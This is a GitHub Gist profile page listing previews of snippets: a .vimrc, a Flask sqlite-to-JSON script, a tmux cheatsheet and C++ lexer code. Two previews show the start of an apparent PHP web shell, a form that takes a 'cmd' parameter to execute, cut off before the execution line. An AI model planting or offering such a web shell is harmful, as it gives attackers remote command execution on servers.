Skip to content

Instantly share code, notes, and snippets.

View tngo0508's full-sized avatar
🎯
Focusing

Thomas Ngo tngo0508

🎯
Focusing
View GitHub Profile
@tngo0508
tngo0508 / .vimrc
Created September 21, 2019 02:15 — forked from simonista/.vimrc
A basic .vimrc file that will serve as a good template on which to build.
" Don't try to be vi compatible
set nocompatible
" Helps force plugins to load correctly when it is turned back on below
filetype off
" TODO: Load plugins here (pathogen or vundle)
" Turn on syntax highlighting
syntax on
@tngo0508
tngo0508 / mt_api.py
Created February 14, 2018 06:22
Extract data from sqlite3 and convert them into JSON data
import minitwit
from flask import Flask, request, jsonify, g
app = Flask(__name__)
def populate_db():
"""Re-populates the database with test data"""
db = minitwit.get_db()
with app.open_resource('population.sql', mode='r') as f:
db.cursor().executescript(f.read())
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if($_GET['cmd'])
{
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if($_GET['cmd'])
{
@tngo0508
tngo0508 / tmux-cheatsheet.markdown
Created September 19, 2017 04:47 — forked from MohamedAlaa/tmux-cheatsheet.markdown
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
//============================================================================
// Task : Compiler
// Description : Lexical Analyzer
// Name : Mahmoud Mohamed Fathy
// ID : 2012030135
//============================================================================
#include <iostream>
#include <fstream>
#include <string>
#include<iostream>
#include<fstream>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
using namespace std;
int isKeyword(char buffer[]){
char keywords[32][10] = {"auto","break","case","char","const","continue","default",
@tngo0508
tngo0508 / lexer.h
Created September 10, 2017 20:58
vijay's lexer code
#include<iostream>
#include<iomanip>
#include<fstream>
#include<string>
using namespace std;
#pragma once
struct LexTok